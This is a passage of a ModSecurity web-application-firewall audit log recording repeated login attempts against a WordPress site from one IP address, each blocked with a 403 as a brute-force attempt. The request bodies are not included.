Content-Type: application/x-www-form-urlencoded

--d0953216-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--d0953216-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313994919049 1716 (- - -)
Stopwatch2: 1789313994919049 1716; combined=558, p1=219, p2=106, p3=0, p4=0, p5=233, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d0953216-Z--

--c460322e-A--
[13/Sep/2026:18:39:55.318028 +0300] aqbDy-ut1GUrjaX0wO45YwAAANg 134.185.87.66 54846 127.0.0.1 7081
--c460322e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 96
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--c460322e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--c460322e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313995316300 1782 (- - -)
Stopwatch2: 1789313995316300 1782; combined=582, p1=231, p2=123, p3=0, p4=0, p5=228, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c460322e-Z--

--a088483d-A--
[13/Sep/2026:18:39:55.698199 +0300] aqbDy-ut1GUrjaX0wO45ZwAAANQ 134.185.87.66 57388 127.0.0.1 7081
--a088483d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--a088483d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--a088483d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313995696504 1773 (- - -)
Stopwatch2: 1789313995696504 1773; combined=640, p1=295, p2=67, p3=0, p4=0, p5=278, sr=144, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a088483d-Z--

--014bb85b-A--
[13/Sep/2026:18:39:56.159515 +0300] aqbDzPut1GUrjaX0wO45aQAAANc 134.185.87.66 57400 127.0.0.1 7081
--014bb85b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 94
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--014bb85b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--014bb85b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313996157824 1745 (- - -)
Stopwatch2: 1789313996157824 1745; combined=558, p1=226, p2=75, p3=0, p4=0, p5=257, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--014bb85b-Z--

--1ee13157-A--
[13/Sep/2026:18:39:56.542492 +0300] aqbDzPut1GUrjaX0wO45awAAANU 134.185.87.66 57420 127.0.0.1 7081
--1ee13157-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 91
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--1ee13157-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--1ee13157-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313996540290 2296 (- - -)
Stopwatch2: 1789313996540290 2296; combined=818, p1=372, p2=96, p3=0, p4=0, p5=350, sr=137, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1ee13157-Z--

--c026c34f-A--
[13/Sep/2026:18:39:56.937480 +0300] aqbDzPut1GUrjaX0wO45bQAAAM0 134.185.87.66 57444 127.0.0.1 7081
--c026c34f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 96
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--c026c34f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--c026c34f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313996934760 2840 (- - -)
Stopwatch2: 1789313996934760 2840; combined=917, p1=342, p2=116, p3=0, p4=0, p5=459, sr=132, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c026c34f-Z--

--3d7b9c71-A--
[13/Sep/2026:18:39:57.325206 +0300] aqbDzUhjHs68UzErry1K6QAAAIA 134.185.87.66 57466 127.0.0.1 7081
--3d7b9c71-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--3d7b9c71-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--3d7b9c71-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313997321053 4244 (- - -)
Stopwatch2: 1789313997321053 4244; combined=1630, p1=1017, p2=89, p3=0, p4=0, p5=523, sr=761, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3d7b9c71-Z--

--9dcc0530-A--
[13/Sep/2026:18:39:57.714596 +0300] aqbDzfut1GUrjaX0wO45bwAAAMc 134.185.87.66 57482 127.0.0.1 7081
--9dcc0530-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--9dcc0530-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--9dcc0530-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313997712988 1709 (- - -)
Stopwatch2: 1789313997712988 1709; combined=531, p1=229, p2=71, p3=0, p4=0, p5=231, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9dcc0530-Z--

--dd857333-A--
[13/Sep/2026:18:39:58.098682 +0300] aqbDzvut1GUrjaX0wO45cQAAAMg 134.185.87.66 57514 127.0.0.1 7081
--dd857333-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--dd857333-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--dd857333-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313998097014 1723 (- - -)
Stopwatch2: 1789313998097014 1723; combined=605, p1=281, p2=63, p3=0, p4=0, p5=260, sr=110, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dd857333-Z--

--11060350-A--
[13/Sep/2026:18:39:58.487516 +0300] aqbDzvut1GUrjaX0wO45cwAAAM8 134.185.87.66 57538 127.0.0.1 7081
--11060350-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--11060350-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--11060350-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313998485211 2455 (- - -)
Stopwatch2: 1789313998485211 2455; combined=825, p1=320, p2=95, p3=0, p4=0, p5=410, sr=129, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--11060350-Z--

--c6932441-A--
[13/Sep/2026:18:39:58.866376 +0300] aqbDzhsbgHO3aGL3jiTwxQAAAAI 134.185.87.66 57570 127.0.0.1 7081
--c6932441-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--c6932441-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--c6932441-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313998864656 1790 (- - -)
Stopwatch2: 1789313998864656 1790; combined=591, p1=274, p2=73, p3=0, p4=0, p5=244, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c6932441-Z--

--c6772f0f-A--
[13/Sep/2026:18:39:59.245447 +0300] aqbDz-ut1GUrjaX0wO45dgAAANI 134.185.87.66 57580 127.0.0.1 7081
--c6772f0f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 94
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--c6772f0f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--c6772f0f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313999243664 1842 (- - -)
Stopwatch2: 1789313999243664 1842; combined=569, p1=230, p2=70, p3=0, p4=0, p5=268, sr=87, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c6772f0f-Z--

--5ad6676e-A--
[13/Sep/2026:18:39:59.626332 +0300] aqbDz-ut1GUrjaX0wO45eAAAAMQ 134.185.87.66 57598 127.0.0.1 7081
--5ad6676e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--5ad6676e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--5ad6676e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313999624726 1687 (- - -)
Stopwatch2: 1789313999624726 1687; combined=537, p1=221, p2=68, p3=0, p4=0, p5=248, sr=81, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5ad6676e-Z--

--dac3252d-A--
[13/Sep/2026:18:40:00.005157 +0300] aqbD0FdqBhgxDSpG7haLIQAAAFc 134.185.87.66 57628 127.0.0.1 7081
--dac3252d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 102
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--dac3252d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--dac3252d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314000003442 1770 (- - -)
Stopwatch2: 1789314000003442 1770; combined=571, p1=266, p2=77, p3=0, p4=0, p5=228, sr=124, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dac3252d-Z--

--788f0629-A--
[13/Sep/2026:18:40:00.388854 +0300] aqbD0Put1GUrjaX0wO45ewAAAMs 134.185.87.66 57646 127.0.0.1 7081
--788f0629-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--788f0629-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--788f0629-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314000383687 5258 (- - -)
Stopwatch2: 1789314000383687 5258; combined=3989, p1=260, p2=72, p3=0, p4=0, p5=3657, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--788f0629-Z--

--2140993f-A--
[13/Sep/2026:18:40:00.789685 +0300] aqbD0Put1GUrjaX0wO45fAAAAMM 134.185.87.66 57660 127.0.0.1 7081
--2140993f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 100
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--2140993f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--2140993f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314000782585 7158 (- - -)
Stopwatch2: 1789314000782585 7158; combined=1234, p1=827, p2=147, p3=0, p4=0, p5=260, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2140993f-Z--

--1c57d72c-A--
[13/Sep/2026:18:40:01.173559 +0300] aqbD0fut1GUrjaX0wO45fQAAANQ 134.185.87.66 57686 127.0.0.1 7081
